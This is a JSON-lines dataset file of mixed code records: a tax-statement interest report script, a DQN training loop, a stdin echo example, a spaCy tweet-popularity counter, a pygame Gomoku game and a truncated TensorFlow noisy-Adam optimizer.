+{"seq_id":"594193813","text":"\"\"\"\nName      : SAMM_CALL_IT3D\nPurpose   : Perorm IT3D functions - produce output files for statements\nDeveloper : Pavel Saparov\nDate      : 22-02-2012\n\"\"\"\nfrom __future__ import division\nimport csv\nimport ael\nimport FRunScriptGUI\nfrom collections import namedtuple\n\n\n# Dictionary with month number to its full name \nMONTHS = dict(list(zip(range(1, 13), (\n    'January', 'February', 'March', 'April',\n    'May', 'June', 'July', 'August', 'September',\n    'October', 'November', 'December'\n))))\n\n\n# Create TradeInterest namedtuple object\nTradeInterest = namedtuple('TradeInterest', (\n    'ClientCode', 'AccountNumber', 'Fica', 'MarchCredit', \n    'AprilCredit', 'MayCredit', 'JuneCredit', 'JulyCredit',\n    'AugustCredit', 'SeptemberCredit', 'OctoberCredit', \n    'NovemberCredit', 'DecemberCredit', 'JanuaryCredit', \n    'FebruaryCredit', 'MarchDebit', 'AprilDebit', \n    'MayDebit', 'JuneDebit', 'JulyDebit', 'AugustDebit', \n    'SeptemberDebit', 'OctoberDebit', 'NovemberDebit', \n    'DecemberDebit', 'JanuaryDebit', 'FebruaryDebit'\n))\n\n\nclass SAMMIT3DRunScript(FRunScriptGUI.AelVariablesHandler):\n    \"\"\"FRunScriptGUI class defining GUI parameters.\"\"\"\n    \n    output_dir = FRunScriptGUI.DirectorySelection()\n     \n    def __init__(self):\n        tax_years = []\n        date = ael.date(\"2010-03-01\")\n        while date <= ael.date_today():\n            tax_years.append(date)\n            date = date.add_years(1) # plus 1-year\n        \n        ael_vars = [\n            ['tax_year', 'Tax date', 'date', tax_years, tax_years[-1], 1, 0, 'Tax date', None, 1],\n            ['front_to_midbase', 'Front Midbase Mapping?', 'string', None, r'y:\\Jhb\\Operations Secondary Markets\\Income Tax\\IT3b_2011\\Front and Midbase data.csv', 1, 0, 'Midbase file', None, 1],\n            ['filename', 'Output Filename', 'string', None, r'C:\\SARS.IT3D.ACAP.FEB2012.txt', 1, 0, 'Output filename for yearly report', None, 1],\n        ]\n        \n        FRunScriptGUI.AelVariablesHandler.__init__(self, ael_vars)\n\n\ndef calculate_interest(trade, tax_year):\n    \"\"\"\n    Arguments:\n    trade - ael.Trade class\n    tax_year - ael date with begining of tax year\n    \n    Function returns populated namedtuple object\n    \"\"\"\n    exclude_incomplete_clients = (\n      '15036', '2335', '15043',\n      '7032', '30574' '6781',\n      '119175', '29580', '45023'\n    )\n    \n    try:\n        ptynbr = trade.counterparty_ptynbr.ptynbr\n        client_code = midbase_mapping[str(ptynbr)] \\\n                          ['Midbase_Counterparty_UserRefCode']\n        \n        if client_code not in exclude_incomplete_clients:\n            party = ael.Party[ptynbr]\n            data = {}\n            \n            # Account Number - Call Deposit/Loan accounts have\n            # unique Instrument name\n            data['AccountNumber'] = trade.insaddr.insid[:20]\n            \n            # Client code obtained from Midbase CSV file\n            data['ClientCode'] = client_code\n            \n            # Single character indicating if client is\n            # FICA compliant\n            data['Fica'] = party.add_info('FICA_Compliant')[0]\n            \n            # Calculate interest for each trade\n            # and update ``data`` dictionary\n            for i in range(0, 12):\n                # Calculate accrued interest for the period\n                tax_month = tax_year.add_months(i)\n                int_set = trade.interest_settled(tax_month,\n                              tax_month.add_months(1).add_days(-1),\n                              'ZAR')\n                int_acc = trade.interest_accrued(tax_month,\n                              tax_month.add_months(1).add_days(-1),\n                              'ZAR')\n                interest = (int_set + int_acc) * trade.quantity\n                interest = int(interest * 100)\n                \n                chronology = tax_month.to_ymd()[1] # obtain month\n                key1, key2 = (\"Credit\", \"Debit\") if \\\n                    interest > 0 else (\"Debit\", \"Credit\") \n                \n                # Setting calculated interest to ``data``\n                data[MONTHS[chronology] + key1] = abs(interest)\n                data[MONTHS[chronology] + key2] = 0\n            \n            # return populated namedobject\n            return TradeInterest(**data)\n    except KeyError:\n        ael.log(\"Couldn't find Midabase key for\"\n            \" Counterparty ID: {0}\".format(ptynbr))\n\n# Define variables for `ael_variables` used in GUI\nael_variables = SAMMIT3DRunScript()\n\ndef ael_main(kargv):\n    \"\"\"Main function\"\"\"\n    global midbase_mapping\n    \n    ael.log(\"Starting {0}\".format(__name__))\n    \n    trades = []\n    tax_year_start = ael.date(kargv['tax_year'])\n    tax_year_end = tax_year_start.add_years(1).add_days(-1)\n\n    # Read trades from trade filters and populate ``trades`` list\n    trade_filter1 = ael.TradeFilter['Call_All_Trades'].trades()\n    trade_filter2 = ael.TradeFilter['SAMM_Primary_Trades'].trades()\n    \n    for trade in trade_filter1:\n        trades.append(trade)\n\n    for trade in trade_filter2:\n        if (trade.insaddr.exp_day >= tax_year_start and \n            trade.value_day <= tax_year_end and \n            not(trade.mirror_trdnbr)):\n            if trade not in trades:\n                trades.append(trade)\n    \n    # Read Midbase to Front Arena mapping and store it in\n    # global variable ``midbase_mapping``\n    midbase_mapping = {}\n    fp = open(kargv['front_to_midbase'], \"r\")\n    for record in csv.DictReader(fp, delimiter=','):\n        midbase_mapping[record['PTYNBR']] = record\n    fp.close()\n\n    # Main loop\n    with open(kargv['filename'], \"w\") as fin:\n        # Use pivot to indicate progress\n        pivot = int(len(trades) / 100)\n        \n        for c, trade in enumerate(trades):\n            \n            # Very simple progress bar\n            progress = c / pivot\n            if progress.is_integer() and 0 <= progress <= 100:\n                print(\"Progress - {0:>3.0f}%\".format(progress))\n            \n            # Write calculated interest into output file\n            ti = calculate_interest(trade, tax_year_start)\n            if isinstance(ti, TradeInterest):\n                fin.write((\n                    \"{0.ClientCode:>10}\"\n                    \"{0.AccountNumber:>20}\"\n                    \"{0.Fica}\"\n                    \"{0.MarchCredit:>018}\"\n                    \"{0.AprilCredit:>018}\"\n                    \"{0.MayCredit:>018}\"\n                    \"{0.JuneCredit:>018}\"\n                    \"{0.JulyCredit:>018}\"\n                    \"{0.AugustCredit:>018}\"\n                    \"{0.SeptemberCredit:>018}\"\n                    \"{0.OctoberCredit:>018}\"\n                    \"{0.NovemberCredit:>018}\"\n                    \"{0.DecemberCredit:>018}\"\n                    \"{0.JanuaryCredit:>018}\"\n                    \"{0.FebruaryCredit:>018}\"\n                    \"{0.MarchDebit:>018}\"\n                    \"{0.AprilDebit:>018}\"\n                    \"{0.MayDebit:>018}\"\n                    \"{0.JuneDebit:>018}\"\n                    \"{0.JulyDebit:>018}\"\n                    \"{0.AugustDebit:>018}\"\n                    \"{0.SeptemberDebit:>018}\"\n                    \"{0.OctoberDebit:>018}\"\n                    \"{0.NovemberDebit:>018}\"\n                    \"{0.DecemberDebit:>018}\"\n                    \"{0.JanuaryDebit:>018}\"\n                    \"{0.FebruaryDebit:>018}\"\n                ).format(ti))\n                fin.write(\"\\n\")\n    \n    ael.log(\"Output written to {0}\".format(kargv['filename']))\n    ael.log(\"Completed successfully\")\n","sub_path":"Python modules/SAMM_CALL_IT3D.py","file_name":"SAMM_CALL_IT3D.py","file_ext":"py","file_size_in_byte":7477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"629000870","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport logging\nimport argparse\nfrom collections import deque\n\nimport torch\nimport numpy as np\n\nfrom .util import load_environment\nfrom .agent import Agent\n\n\ndef get_state(env_info, use_visual):\n    if use_visual:\n        state = env_info.visual_observations[0]\n    else:\n        state = env_info.vector_observations[0]\n    return state\n\n\ndef dqn(env, n_episodes=2000, max_t=1000, eps_start=1.0, eps_end=0.001,\n        eps_decay=0.995, solution_threshold=13.0, checkpointfn='checkpoint.pth'):\n    \"\"\"Function that uses Deep Q Networks to learn environments.\n\n    Parameters\n    ----------\n        n_episodes: int\n            maximum number of training episodes\n        max_t: int\n            maximum number of timesteps per episode\n        eps_start: float\n            starting value of epsilon, for epsilon-greedy action selection\n        eps_end: float\n            minimum value of epsilon\n        eps_decay: float\n            multiplicative factor (per episode) for decreasing epsilon\n    \"\"\"\n    brain_name = env.brain_names[0]\n    brain = env.brains[brain_name]\n    env_info = env.reset(train_mode=True)[brain_name]\n\n    action_size = brain.vector_action_space_size\n    state = env_info.vector_observations[0]\n    state_size = len(state)\n\n    if state_size == 0:\n        use_visual = True\n        state = env_info.visual_observations[0]\n        state_size = state.shape\n\n    agent = Agent(state_size, action_size, 123, use_visual)\n\n    scores = []  # All episodes seen over training\n    scores_window = deque(maxlen=100)  # last 100 scores\n    eps = eps_start\n    for i_episode in range(n_episodes):\n        env_info = env.reset(train_mode=True)[brain_name]\n        state = get_state(env_info, use_visual)\n\n        score = 0\n        for t in range(max_t):\n            action = agent.act(state, eps)\n            env_info = env.step(action)[brain_name]\n            next_state = get_state(env_info, use_visual)\n            reward = env_info.rewards[0]\n            done = env_info.local_done[0]\n            agent.step(state, action, reward, next_state, done)\n            state = next_state\n            score += reward\n            if done:\n                break\n        scores_window.append(score)       # save most recent score\n        scores.append(score)              # save most recent score\n        eps = max(eps_end, eps_decay*eps) # decrease epsilon\n        logging.debug(\n            'Episode {}\\tAverage Score: {:.2f}'\n            .format(i_episode + 1, np.mean(scores_window))\n        )\n        if i_episode % 100 == 0:\n            logging.info(\n                'Episode {}\\tAverage Score: {:.2f}'\n                .format(i_episode + 1, np.mean(scores_window))\n            )\n        if np.mean(scores_window) >= solution_threshold:\n            logging.info(\n                'Environment solved in {:d} episodes!'\n                .format(i_episode - 99)\n            )\n            logging.info(\n                'Saving checkpoint file at %s', checkpointfn\n            )\n            agent.save(checkpointfn)\n            break\n    return agent, scores, i_episode - 99\n\ndef main():\n    parser = argparse.ArgumentParser(description='Trains a learning agent')\n    parser.add_argument('--checkpoint', dest='checkpoint', action='store',\n                        default='checkpoint.pth')\n    args = parser.parse_args()\n\n    logging.basicConfig(level=logging.INFO)\n\n    env = load_environment()\n    dqn(env, checkpointfn=args.checkpoint)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"deeprl/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"532365661","text":"import argparse\r\nimport sys\r\n\r\n\r\ndef func_leitura():\r\n\t#file= open(dir,'r')\r\n\tfor linha in sys.stdin:\r\n\t\tprint(linha)\r\n\r\n\r\n#\tfor linha in file:\r\n\t\t#linha = linha.rstrip()\r\n\t\t#print(linha)\r\n\t#file.close()\r\n\r\ndef func_escrita():\r\n#\tstdout = sys.stdout\r\n\tfor linha in sys.stdin:\r\n\t\tsys.stdout.write(linha.upper())\r\n#\tfile.close()\r\n\r\n#def func_report(dir):\r\n#\tfile.close()\r\n\r\n\r\n\r\n\r\n\r\ndef main(metodo):\r\n\tprint('************************************manipulação de arquivos ************************************',\r\n\t      '\\n\\n\\n')\r\n\tif metodo == 1:\r\n\t\tprint('************************************leitura de arquivos ****************************************')\t\r\n\t\tfunc_leitura()\r\n\r\n\telif metodo == 2:\r\n\t\tfunc_escrita()\r\n\r\n\telif metodo == 3:\r\n\t\tfunc_report()\t\r\n\r\nif __name__ == '__main__':\r\n\tparser = argparse.ArgumentParser()\r\n\t#parser.add_argument(\"dir\",type=str ,help = \"local do arquivo\")\r\n\tparser.add_argument(\"metodo\",type= int,help = \"método\")\r\n\targs = parser.parse_args()\r\n\tmain(args.metodo)","sub_path":"example4.py","file_name":"example4.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"174785182","text":"import en_core_web_sm\nimport csv\n# load en_core_web_sm of English for vocabluary, syntax & entities\nnlp = en_core_web_sm.load()\n\n#  \"nlp\" Objectis used to create documents with linguistic annotations.\nlines = [line.rstrip('\\n') for line in open('tweets.txt')]\nplayers = [\"\"]\nranking = [[\"Player\",\"Mentions\",\"Likeability\"]]\nfor line in lines:\n    docs = nlp(line)\n    positivity = 1\n    name = str(docs[0])+\" \"+str(docs[1])\n    for word in docs:\n        #print(word.text,word.pos_,word.dep_)\n        if(word.dep_ == \"neg\"):\n            positivity*=(-1)\n        elif(word.dep_ == \"acomp\"):\n            positivity*=1\n    #print(\"Player:\",name)\n    #print(\"Positivity:\",positivity)\n    if name in players:\n        ranking[players.index(name)][1]+=1\n        ranking[players.index(name)][2]+=positivity\n    else:\n        players.append(name)\n        ranking.append([name,1,positivity])\nprint(ranking)\nwith open('popularity.csv', mode='w') as csv_file:\n    csv_file = csv.writer(csv_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n    for i in ranking:\n        csv_file.writerow(i)\n'''docs = nlp(\"Michael Jordan and Andre Kirilenko is good in Basketball\")\npositivity = 1\nname = str(docs[0])+\" \"+str(docs[1])\nfor word in docs:\n    if(word.dep_ == \"neg\"):\n        positivity*=1\n    elif(word.dep_ == \"acomp\"):\n        positivity*=1\nprint(\"Player:\",name)\nprint(\"Positivity:\",positivity)'''","sub_path":"grammar-check.py","file_name":"grammar-check.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"476711549","text":" # coding: utf8\n\nimport sys\nimport time\nimport pygame\n\n# 无论是获胜后重新开始还是中途重新开始, 没有工人对order值做改变, 正好可以轮换先手与后手\n\npygame.init()\nbgpic = pygame.image.load('./bg.jpg')\nblack = pygame.image.load('./black.png')\nwhite = pygame.image.load('./white.png')\n\naudio = './audio.mp3'\npygame.mixer.init()\npygame.mixer.music.load(audio)\npygame.mixer.music.play(100, 2)\n\nwidth, height = bgpic.get_size()  # 获取背景图片尺寸作为屏幕尺寸\nlitter = min(width, height)  # 取出较小者方便后面画棋盘\ninterval = litter // 14 - 3  # 计算每个小格子的空间  15x15的棋盘  -3是增加棋盘外边距,防止边界棋子出界\nt = interval * 14  # 计算棋盘总宽度\nscreen = pygame.display.set_mode((width, height))\npygame.display.set_caption('五子棋')\nico = pygame.image.load('./ico.png')\npygame.display.set_icon(ico)\nlis = list()  # 用于存放所有的交叉坐标点\norder = 1  # 黑棋先手：0无棋/1黑棋/\niswin = False\nwin_img = ''\n\n\ndef draw_button():\n    x1, y1, x2, y2 = get_four_port()\n    x = x2 + 20\n    chocolate = (210, 105, 30)\n    start = pause = end = again = regret = pygame.font.Font('./simkai.ttf', 30)\n    start_img = start.render('继续播放', True, chocolate)\n    screen.blit(start_img, (x, interval*2))\n    pause_img = pause.render('暂停音乐', True, chocolate)\n    screen.blit(pause_img, (x, interval*3))\n    end_img = end.render('停止音乐', True, chocolate)\n    screen.blit(end_img, (x, interval*4))\n    again_img = again.render('重新开始', True, chocolate)\n    screen.blit(again_img, (x, interval*5))\n    regret_img = regret.render('后退一步', True, chocolate)  # 140x40\n    screen.blit(regret_img, (x, interval*6))\n\n\ndef get_four_port():\n    \"\"\"返回x, y的取值范围\"\"\"\n    x1 = (width - t) / 2\n    y1 = (height - t) / 2\n    x2 = x1 + t\n    y2 = y1 + t\n    return x1, y1, x2, y2\n\n\ndef draw_chessboard():\n    \"\"\"绘制棋盘及计算出所有落棋点坐标\"\"\"\n    border = 2  # 线的宽度\n    x1, y1, x2, y2 = get_four_port()\n    for i in range(15):\n        border = border+2 if i == 0 else 2  # 边界线的宽度比中间大2\n        pygame.draw.line(bgpic, (0, 0, 0), (x1, y1 + interval * i), (x2, y1 + interval * i), border)  # 绘制水平直线\n        pygame.draw.line(bgpic, (210, 0, 0), (x1 + interval * i, y1), (x1 + interval * i, y2), border)  # 绘制垂直直线\n    pygame.draw.line(bgpic, (0, 0, 0), (x1, y2), (x2, y2), border+2)  # 绘制最后一条水平直线\n    pygame.draw.line(bgpic, (210, 0, 0), (x2, y1), (x2, y2), border+2)  # 绘制最后一条垂直直线\ndraw_chessboard()\n\n\ndef get_cross_point():\n    \"\"\"遍历出所有的交叉点坐标\"\"\"\n    x1, y1, x2, y2 = get_four_port()\n    while x1 <= x2:\n        while y1 <= y2:\n            lis.append((x1, y1))\n            y1 += interval\n        y1 = (height - t) / 2  # 重置y1的值\n        x1 += interval\n    return interval\n\n\nscare = get_cross_point()\nblack = pygame.transform.smoothscale(black, (scare-1, scare-1))  # 棋子按棋格大小缩放后-1 防止相邻棋子出现粘贴现象\nwhite = pygame.transform.smoothscale(white, (scare-1, scare-1))\nwidthq = black.get_size()[0]  # 缩放后的棋子宽度，便于后面定位棋子位置\nposlis_black, poslis_white = [], []  # 预设一个列表，存放棋子标识与所有对应鼠标点击过的位置\n\n\ndef calc_distance(tup1, tup2):\n    \"\"\"计算鼠标点击位置与交叉点（两点）的距离\"\"\"\n    dispow = (tup2[0] - tup1[0]) ** 2 + (tup2[1] - tup1[1]) ** 2\n    return dispow ** 0.5\n\n\ndef who_win_action(who):\n    global lis\n    global win_img\n    lis = []  # 锁定棋盘\n    win = pygame.font.Font('./simkai.ttf', 40)\n    win_img = win.render('%s获胜' % who, True, (255, 0, 0))\n    sound = pygame.mixer.Sound('./{}.ogg'.format(who).encode())\n    sound.play()\n\n\ndef judge_black_win():\n    \"\"\"判断黑棋是否获胜\"\"\"\n    global iswin\n    x1, y1, x2, y2 = get_four_port()\n    resb = poslis_black\n    lenb = len(resb)\n    if lenb >= 5:  # 有5个及以上的点才开始寻找\n        x, y = resb[-1]  # 得到最后下的一颗棋子的坐标，以此为中心向4个大方向搜索\n\n        # 1. 横向搜索, y保持不变\n        cnt = 0  # 对每个大方向上的两个小方向棋子计数\n        for lor in [-1, 1]:\n            tx = x\n            while x1 <= tx <= x2:\n                tx += interval * lor\n                if (tx, y) in resb:\n                    cnt += 1\n                    if cnt == 4:  # 减掉自身\n                        iswin = True\n                        who_win_action('黑棋')\n                        return\n                else:\n                    break\n\n        # 2. 纵向搜索, x保持不变\n        cnt = 0\n        for uod in [-1, 1]:\n            ty = y\n            while y1 <= ty <= y2:\n                ty += interval * uod\n                if (x, ty) in resb:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('黑棋')\n                        return\n                else:\n                    break\n\n        # 3. 左斜向搜索,  (x减,y加), (x加,y减)\n        cnt = 0\n        for ldru in [-1, 1]:\n            tx, ty = x, y\n            while x1 <= tx <= x2 and y1 <= ty <= y2:\n                tx += interval * ldru\n                ty -= interval * ldru\n                if (tx, ty) in resb:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('黑棋')\n                        return\n                else:\n                    break\n\n        # 4. 右斜向搜索, (x减,y减),(x加,y加)\n        cnt = 0\n        for lurd in [-1, 1]:\n            tx, ty = x, y\n            while x1 <= tx <= x2 and y1 <= ty <= y2:\n                tx += interval * lurd\n                ty += interval * lurd\n                if (tx, ty) in resb:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('黑棋')\n                        return\n                else:\n                    break\n\n\ndef judge_white_win():\n    \"\"\"判断白棋是否获胜\"\"\"\n    global iswin\n    x1, y1, x2, y2 = get_four_port()\n    resw = poslis_white\n    lenw = len(resw)\n    if lenw >= 5:  # 有5个及以上的点才开始寻找\n        x, y = resw[-1]  # 得到最后下的一颗棋子的坐标，以此为中心向4个大方向搜索\n\n        # 1. 横向搜索, y保持不变\n        cnt = 0  # 对每个大方向上的两个小方向棋子计数\n        for lor in [-1, 1]:\n            tx = x\n            while x1 <= tx <= x2:\n                tx += interval * lor\n                if (tx, y) in resw:\n                    cnt += 1\n                    if cnt == 4:  # 减掉自身\n                        iswin = True\n                        who_win_action('白棋')\n                        return\n                else:\n                    break\n\n        # 2. 纵向搜索, x保持不变\n        cnt = 0\n        for uod in [-1, 1]:\n            ty = y\n            while y1 <= ty <= y2:\n                ty += interval * uod\n                if (x, ty) in resw:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('白棋')\n                        return\n                else:\n                    break\n\n        # 3. 左斜向搜索,  (x减,y加), (x加,y减)\n        cnt = 0\n        for ldru in [-1, 1]:\n            tx, ty = x, y\n            while x1 <= tx <= x2 and y1 <= ty <= y2:\n                tx += interval * ldru\n                ty -= interval * ldru\n                if (tx, ty) in resw:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('白棋')\n                        return\n                else:\n                    break\n\n        # 4. 右斜向搜索, (x减,y减),(x加,y加)\n        cnt = 0\n        for lurd in [-1, 1]:\n            tx, ty = x, y\n            while x1 <= tx <= x2 and y1 <= ty <= y2:\n                tx += interval * lurd\n                ty += interval * lurd\n                if (tx, ty) in resw:\n                    cnt += 1\n                    if cnt == 4:\n                        iswin = True\n                        who_win_action('白棋')\n                        return\n                else:\n                    break\n\n\nwhile True:\n    time.sleep(0.2)\n    screen.blit(bgpic, (0, 0))  # 背景放最前面执行，防止遮挡其他绘制的图形\n    draw_button()\n    pos_b_center = [(x - widthq / 2, y - widthq / 2) for x, y in poslis_black]  # 将棋子中心定位于交互点\n    pos_w_center = [(x - widthq / 2, y - widthq / 2) for x, y in poslis_white]\n    if iswin:\n        screen.blit(win_img, (15, interval*2))\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            sys.exit('已退出游戏')\n        elif event.type == pygame.MOUSEBUTTONDOWN:\n\n            x, y = event.pos\n            x1, y1, x2, y2 = get_four_port()\n            if x2+20 < x < x2+140 and interval*2 < y < interval*2+30:\n                pygame.mixer.music.unpause()\n            elif x2+20 < x < x2+140 and interval*3 < y < interval*3+30:\n                pygame.mixer.music.pause()\n            elif x2+20 < x < x2+140 and interval*4 < y < interval*4+30:\n                pygame.mixer.music.stop()\n            elif x2 + 20 < x < x2 + 140 and interval*5 < y < interval*5+30:\n                poslis_black.clear()\n                poslis_white.clear()\n                pos_b_center.clear()\n                pos_w_center.clear()\n                iswin = False\n                lis = []  # 如果是中途点的重新开始, 要清空lis, 重新加载lis\n                get_cross_point()  # 如果是获胜后(lis被清空了)点的重新开始, 要重新通过此方法建立lis;\n            elif x2 + 20 < x < x2 + 140 and interval*6 < y < interval*6+30:\n                if iswin is False:  # 获胜后不允许悔棋\n                    if order == 1:  # 现在是黑棋下,表示刚才落子的是白棋\n                        poslis_white.pop()\n                        pos_w_center.pop()\n                        order += 1\n                    else:\n                        poslis_black.pop()\n                        pos_b_center.pop()\n                        order -= 1\n\n            for pos_rel in lis:\n                if calc_distance(pos_rel, event.pos) < 15:  # 数值设定越小，要求点击精度越高, 绝对不能>= interval/2\n                    if pos_rel not in (poslis_black + poslis_white):  # 防止出现棋子覆盖现象\n                        if order == 1:\n                            poslis_black.append(pos_rel)\n                            print(poslis_black[-1])\n                            judge_black_win()\n                            order += 1\n                        elif order == 2:\n                            poslis_white.append(pos_rel)\n                            print(poslis_white[-1])\n                            judge_white_win()\n                            order -= 1\n\n    for pos_b in pos_b_center:\n        screen.blit(black, pos_b)\n    for pos_w in pos_w_center:\n        screen.blit(white, pos_w)\n\n    pygame.display.update()\n","sub_path":"Gobang.py","file_name":"Gobang.py","file_ext":"py","file_size_in_byte":11334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"440976946","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import variable_scope\nfrom tensorflow.python.ops import variables as tf_variables\nfrom tensorflow.python.training import gradient_descent\nfrom . import estimator as est\n\n\nclass AdamOptimizer(gradient_descent.GradientDescentOptimizer):\n    \"\"\"\n    Noisy Adam Optimizer\n    \"\"\"\n\n    def __init__(self,\n                 learning_rate,\n                 damping_int,\n                 damping_ext,\n                 param_dict,\n                 fisher_momentum=0.,\n                 momentum=0.,\n                 name=\"adam\"):\n        \"\"\"\n        Params:\n          param_dict: A dictionary {sample_weight => (mean, fisher_diag)}. All\n            of the keys are Tensors, and all values are tuples of Variables. The\n            keys of this dictionary becomes the list of Tensors that gradients\n            of loss are taken with respect to. `mean` is the mean of the\n            Gaussian distribution from which the sample_weight is sampled.\n            `fisher_diag` is the diagonal of the Fisher matrix associated with\n            this sampled weight. It is required for calculating the variance of\n            Gaussian distribution from which the sample_weight is sampled.\n        \"\"\"\n\n        self.param_dict = param_dict\n        self.variables = list(param_dict.keys())\n        # TODO: define damping_ext and damping_int.\n        self.damping_int = damping_int\n        self.damping_ext = damping_ext\n        self.damping_total = self.damping_ext + self.damping_int\n\n        self._momentum = momentum\n        self._fisher_momentum = fisher_momentum\n\n        super().__init__(learning_rate, name=name)\n\n    def minimize(self, *args, **kwargs):\n        kwargs[\"var_list\"] = kwargs.get(\"var_list\") or self.variables\n        if set(kwargs[\"var_list\"]) != set(self.variables):\n            raise ValueError(\"var_list doesn't match with set of Fisher-estimating \"\n                             \"variables.\")\n        return super().minimize(*args, **kwargs)\n\n    def compute_gradients(self, loss, *args, **kwargs):\n        # args[1] could be our var_list\n        if len(args) > 1:\n            var_list = args[1]\n        else:\n            kwargs[\"var_list\"] = kwargs.get(\"var_list\") or self.variables\n            var_list = kwargs[\"var_list\"]\n        if set(var_list) != set(self.variables):\n            raise ValueError(\"var_list doesn't match with set of Fisher-estimating \"\n                             \"variables.\")\n\n        # # In case we aren't allowed to calculate Tensor derivatives here.\n        # grads = tf.gradients(-loss, var_list)\n        # grads_and_vars = list(zip(grads, var_list))\n        # return grads_and_vars\n        return super().compute_gradients(loss, *args, **kwargs)\n\n    def apply_gradients(self, grads_and_vars, *args, **kwargs):\n        \"\"\"\n        Apply gradient updates to the variational mean and variance parameters\n        of each sample weight, given a list of gradients of each weight with\n        respect to the loss.\n\n        Params:\n        grads_and_vars -- a list of (weight_grad, weight_tensor) pairs.\n        \"\"\"\n        grads_and_vars = list(grads_and_vars)\n        # A list of gradients and variables.\n        steps_and_vars = self._compute_update_steps(grads_and_vars)\n        return super().apply_gradients(steps_and_vars, *args, **kwargs)\n\n    def _compute_update_steps(self, grads_and_vars):\n        \"\"\"\n        Convert a list of (weight_grad, weight_tensor) pairs to a list of\n        (mu_grad, mu_tensor). Mu is the mean of the variational distribution\n        from which a weight is drawn.\n\n        Also update fisher (which determines the variance of the variational\n        distribution) and Adam momentum.\n        \"\"\"\n        # We actually have a list of grads and tensors. We'll convert to\n        # grads and vars along the way.\n        grads_and_tensors = grads_and_vars\n\n        # Produce fisher update operations.\n        fisher_updates = self._update_fisher(grads_and_tensors,\n                decay=self._fisher_momentum)\n\n        # Calculate mu updates. As a side effect, update momentum.\n        grad_mu_wb_list = self._update_momentum_and_mu(\n                grads_and_vars, fisher_updates, decay=self._momentum)\n\n        # Each mu is a concatentation of weight and bias variables.\n        # Split the gradients and mus.\n        grads_and_vars = self._split_grads_and_mus(grad_mu_wb_list)\n        return grads_and_vars\n\n\n    def _update_fisher(self, grads_and_vars, decay):\n        \"\"\"\n        Takes the gradients of each weight with respect to loss,\n        and updates the the fisher matrices associated with each weight.\n\n        Params:\n        grads_and_vars -- List (grad, w_var) pairs.\n\n        beta2 -- A scalar Tensor or a scalar. The rate at which old Fisher\n          diagonals decay.\n\n        Return:\n        fisher_updates -- A dictionary {w_var => new_f} mapping each weight\n            vector to its newly assigned fisher diagonal.\n        \"\"\"\n        beta2 = decay\n\n        def _update(grad, w_var):\n            # XXX: Ugly hack to change\n            # (n_particles, n_in, n_out) => (n_in, n_out). Otherwise\n            # the assignment won't work. In reality, n_particles should be 1\n            # here, so this will have no effect.\n            # TODO: assert n_particles==1.\n            grad = tf.reduce_mean(grad, axis=0, name=\"avg_grad\")\n\n            f = self.param_dict[w_var]._f\n            new_f = (beta2 - 1) * f + (1 - beta2) * tf.square(grad)\n            return f.assign(new_f)\n        update_dict = {w: _update(grad, w) for grad, w in grads_and_vars}\n        return update_dict\n\n\n    def _update_momentum_and_mu(self, grads_and_vars, fisher_updates, decay):\n        \"\"\"\n        Use most recent velocity to update momentum. Then return the\n        gradient updates to apply to each mu vector.\n\n        This function assumes that fisher matrices have already been updated\n        for this optimization step.\n\n        Params:\n        grads_and_vars -- List (grad, w_var) pairs. Gradients are\n          Tensors that should be added to each var. Or None if\n          the gradient shouldn't be applied.\n        fisher_updates -- A dictionary {w_var => new_f} mapping each weight\n            vector to its newly assigned fisher diagonal.\n        decay -- A scalar Tensor or a scalar. The rate at which old momentum\n          decays.\n\n        Returns:\n        vel_mu_wb_list -- List of (vel, mu_tensor, wb) triples.\n        \"\"\"\n        def _update(grad, var):\n            # XXX: Hack. Instead, I should assert that zero-th dimension\n            # is 1, and then squeeze that dimension.\n            grad = tf.reduce_mean(grad, axis=0, name=\"avg_grad\")\n\n            beta1 = decay\n            zero = tf.zeros(shape=tf.shape(grad), dtype=float,\n                    name=\"momentum_init\")\n            m = self._get_or_make_slot(var=var, val=zero, slot_name=\"momentum\",\n                    op_name=\"momentum\")\n            with ops.colocate_with(m):\n\n                # Compute the new momentum\n                new_m = beta1 * m + (1 - beta1) * grad\n                new_m = tf.identity(m.assign(new_m), name=\"new_momentum\")\n\n                wb = self.param_dict[var]\n                mu = wb._mean\n                f = fisher_updates[var]\n                vel = new_m / (1 - beta1) / (f + self.damping_total)\n                return vel, mu, wb\n\n        return [_update(grad, w) for grad, w in grads_and_vars]\n\n    def _split_grads_and_mus(self, grad_mu_wb_list):\n        \"\"\"\n        Params:\n          grad_mu_wb_list: A list of (gradient, mean, wb) tuples.\n        Returns:\n          grads_and_vars: A list of (split_gradient, split_var) pairs,\n            where each split_gradient and split_var is formed from\n            unconcatentating gradient and mean Tensors.\n        \"\"\"\n        res = []\n        for grad, _, wb in grad_mu_wb_list:\n            weight_grad_flat, bias_grad_expand = tf.split(grad,\n                    [wb._n_in - 1, 1], axis=0)\n            weight_grad = tf.reshape(weight_grad_flat, wb._shape,\n                    name=\"weight_grad\")\n            bias_grad = tf.reshape(bias_grad_expand, [wb._n_out],\n                    